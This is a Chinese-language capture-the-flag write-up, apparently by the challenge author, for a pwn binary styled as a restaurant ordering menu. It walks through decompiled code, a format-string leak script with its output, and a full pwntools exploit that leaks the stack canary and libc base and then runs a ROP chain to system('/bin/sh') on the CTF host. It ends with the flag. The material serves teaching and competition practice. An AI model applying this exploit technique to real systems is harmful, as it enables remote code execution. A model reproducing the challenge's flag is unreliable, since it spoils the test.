今天要講的是我在CRHC上面出的水題,解題人數 (15/491)
先附上題目連結,在pwn的資料夾
https://github.com/4ur0n/My-CTF-challenge
ok,那首先我原本在這個題目是沒有給source的,所以我們這次用binary檔的方式來講解
首先一樣先進入檢查環節
首先如果你已經過了靶機活著的時間,那就只能架在local
sudo docker-compose up -d
|| sudo docker compose up -d
sudo docker ps 查看container name || container id
auron@Auronlin:/mnt/c/Users/Auron/Documents/CRHCCTF-2025/web/baby_ssti$ sudo docker exec -it <container_id>
bash
這裡我們的container id為8c173c9ad2e5
我們會發現已經進入container的shell,那接下來我們就是要下載patchelf的東西,接著patchelf就完成link這個libc了
apt-get install patchelf
patchelf --set-interpreter /home/chal/ld-linux-x86-64.so.2 chal
patchelf --set-rpath /home/chal chal
保護全開
接者我們去decompiler這個binary,來看他到底在幹嘛
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+7h] [rbp-E9h] BYREF
int v5; // [rsp+8h] [rbp-E8h]
int v6; // [rsp+Ch] [rbp-E4h]
char s[16]; // [rsp+10h] [rbp-E0h] BYREF
_BYTE v8[64]; // [rsp+20h] [rbp-D0h] BYREF
char buf[136]; // [rsp+60h] [rbp-90h] BYREF
unsigned __int64 v10; // [rsp+E8h] [rbp-8h]
v10 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = 1000;
welcome();
do
{
menu();
printf("You have: $%d now\n\n", v5);
printf("Choose food: ");
fgets(s, 16, stdin);
v6 = atoi(s);
switch ( v6 )
{
case 1:
puts("You bought a Burger!");
++food_counts;
v5 -= 250;
break;
case 2:
puts("You bought a Salad!");
++dword_40B4;
v5 -= 150;
break;
case 3:
puts("You bought a Cola!");
++dword_40B8;
v5 -= 80;
break;
case 4:
puts("You bought Fries!");
++dword_40BC;
v5 -= 120;
break;
case 5:
puts("You bought an Apple Pie!");
++dword_40C0;
v5 -= 200;
break;
case 6:
puts("You bought Ice Cream!");
++dword_40C4;
v5 -= 180;
break;
case 7:
my_food();
break;
case 8:
my_food();
printf("Give us feedback(Y/n) ");
fflush(_bss_start);
__isoc99_scanf(" %c", &v4);
getchar();
if ( v4 != 89 && v4 != 121 )
{
printf("%s", "Bye!");
exit(0);
}
puts("What do you think of our restaurant: ");
fflush(_bss_start);
read(0, buf, 0x80u);
puts("Here is your feedback for us: ");
printf(buf);
putchar(10);
break;
case 9:
printf("%p\n", &puts);
break;
default:
puts("Invalid choice!");
break;
}
}
while ( v5 >= 0 );
puts("You don't have enough money to buy more foods!!\n");
puts("Say something that you want to say: ");
read(0, v8, 0x100u);
return 0;
}
welcome:
int welcome()
{
puts("\n========================================================");
puts(" Welcome to CRHC Restaurant! ");
puts(" You have 1000 coins in your wallet.");
puts(" Try ordering dishes by entering their id.");
puts(" We have a secret dish for you, can you find it???");
return puts("==========================================================\n");
}
menu:
int menu()
{
puts("\nHere is a menu for you:\n");
puts("1. Burger - $250 ");
puts("2. Salad - $150 ");
puts("3. Cola - $80 ");
puts("4. Fries - $120 ");
puts("5. Apple Pie - $200 ");
puts("6. Ice Cream - $180 ");
puts("7. Show my food");
return puts("8. Complete order\n");
}
my_food:
int my_food()
{
int v1; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]
puts("====================================");
puts("Your foods:");
v1 = 0;
for ( i = 0; i <= 5; ++i )
{
if ( food_counts[i] > 0 )
{
printf("- %s x %d ==> $%d\n", (&foods)[i], food_counts[i], food_counts[i] * prices[i]);
v1 += food_counts[i] * prices[i];
}
}
printf("Total spent: $%d\n", v1);
return puts("====================================");
}
看完這裡可以發現,主要漏洞都在main,其他好像都沒屁用,然後我們可以發現第一個漏洞在送出feedback的地方,我們會發現這裡有一個format string可以利用,這也就代表我們可以bypass Canary了,第二個漏洞在Say something that you want to say:
的部分,這裡要輸入的長度明顯大於分配的長度,所以這裡會造成buffer overflow,我們就可以藉由format string去leak canary來繞過stack_chk_fail的檢查,那我們就可以依照程式流程去撰寫以下洩漏地址的程式碼:
leak.py:
from pwn import *
r = process('../share/chal')
for i in range(1, 50):
payload = f'%{i}$p'.encode()
r.sendlineafter(b': ', b'8')
r.sendlineafter(b') ', b'y')
r.sendlineafter(b':', payload)
r.recvline()
r.recvline()
line = r.recvline().strip()
if line == b'(nil)':
warn(f'{i}. leak: (nil)')
else:
try:
leak = int(line, 16)
success(f'{i}. leak: {hex(leak)}')
except ValueError:
warn(f'{i}. unexpected output: {line}')
output:
[+] Starting local process '../share/chal': pid 2516
[+] 1. leak: 0x75ab84404643
[!] 2. leak: (nil)
[+] 3. leak: 0x75ab8431c574
[+] 4. leak: 0x1e
[+] 5. leak: 0x1
[+] 6. leak: 0x79007ffcec558a70
[+] 7. leak: 0x8000003e8
[+] 8. leak: 0xa38
[+] 9. leak: 0x40
[+] 10. leak: 0x1200000
[+] 11. leak: 0xc
[+] 12. leak: 0xffffffffffffffff
[+] 13. leak: 0x40
[+] 14. leak: 0xc
[+] 15. leak: 0x9a0000
[+] 16. leak: 0x800
[+] 17. leak: 0x9a0000
[+] 18. leak: 0xa7024383125
[+] 19. leak: 0x1340000
[+] 20. leak: 0x1340000
[+] 21. leak: 0x140000
[+] 22. leak: 0xc000
[+] 23. leak: 0x7ffcec558a28
[+] 24. leak: 0xba00000006
[!] 25. leak: (nil)
[!] 26. leak: (nil)
[!] 27. leak: (nil)
[!] 28. leak: (nil)
[!] 29. leak: (nil)
[!] 30. leak: (nil)
[!] 31. leak: (nil)
[!] 32. leak: (nil)
[+] 33. leak: 0x75ab845b7af0
[+] 34. leak: 0x7ffcec558b40
[+] 35. leak: 0x7d5062fcb298bd00 # canary found
[+] 36. leak: 0x7ffcec558b00
[+] 37. leak: 0x75ab8422a1ca
[+] 38. leak: 0x7ffcec558ab0
[+] 39. leak: 0x7ffcec558b88
[+] 40. leak: 0x1e677d040
[+] 41. leak: 0x5620e677e537
[+] 42. leak: 0x7ffcec558b88
[+] 43. leak: 0x7ece50dee7cae428
[+] 44. leak: 0x1
[!] 45. leak: (nil)
[+] 46. leak: 0x5620e6780d68
[+] 47. leak: 0x75ab845cf000
[+] 48. leak: 0x7ece50dee52ae428
[+] 49. leak: 0x6a608030b2c8e428
在這裡我們可以發現有16個byte並且以兩個0結尾的canary落在%35$p
的地方,我們稍後就可以用這個方式去bypass canary,然後可以發現我在case 9,偷偷藏了一個可以leak puts地址的地方,這也就代表我們會讓解題越容易,那我們要怎麼利用這個puts呢?
我們拿到puts的leak之後,我們可以對這個leak去減掉libc裡面的puts,那我們就可以得知libc base的addressputs_leak
- libc_puts
= libc_base
那有了這個libc base對我們來說意義非常重大,這代表了我們可以任意調用想要用的function,一定也包含system,那我們有了這些細節後我們就可以撰寫出以下exp
exp.py:
from pwn import *
context.arch = 'amd64'
r = remote('23.146.248.136', 21101)
#r = process(['./share/ld-linux-x86-64.so.2', '--library-path', '.', './share/chal'])
libc = ELF('../share/libc.so.6')
r.recvuntil(b': ')
r.recvline()
r.recvline()
r.sendline(b'9')
ret_libc_offset = 0x2846b
bin_sh_offset = 0x1a7ea4
main_offset = 0x1467
canary_leak_payload = b'%35$p'
pop_rdi_offset = 0x2a145
puts_leak_str = r.recvline().strip().decode().split()[-1]
puts_leak = int(puts_leak_str, 16)
success(f'puts leak: {hex(puts_leak)}')
libc_base = puts_leak - libc.symbols['puts']
success(f'libc base: {hex(libc_base)}')
pop_rdi = libc_base + pop_rdi_offset
success(f'pop_rdi: {hex(pop_rdi)}')
bin_sh = libc_base + bin_sh_offset
system = libc_base + libc.symbols['system']
ret = ret_libc_offset + libc_base
success(f'ret: {hex(ret)}')
r.sendlineafter(b': ', b'8')
r.sendlineafter(b'Give us feedback(Y/n)', b'y')
r.sendlineafter(b'restaurant:', canary_leak_payload)
r.recvline()
r.recvline()
canary_leak = int(r.recvline().strip(), 16)
success(f'canary leak: {hex(canary_leak)}')
for _ in range(5):
r.recvuntil(b': ')
r.recvline()
r.recvline()
r.sendline(b'1')
payload = flat(b'a' * 200, canary_leak, b'a' * 8, pop_rdi, bin_sh, ret, system)
r.sendlineafter(b'Say something that you want to say:', payload)
r.interactive()
Pwned!
flag
: CRHC{u3e_f0rm4t_3tr1n&_t0_g37_l3@k_4ddr3s3_4nd_7h3n_g37_sh3ll_4q2h08vkwibgroi}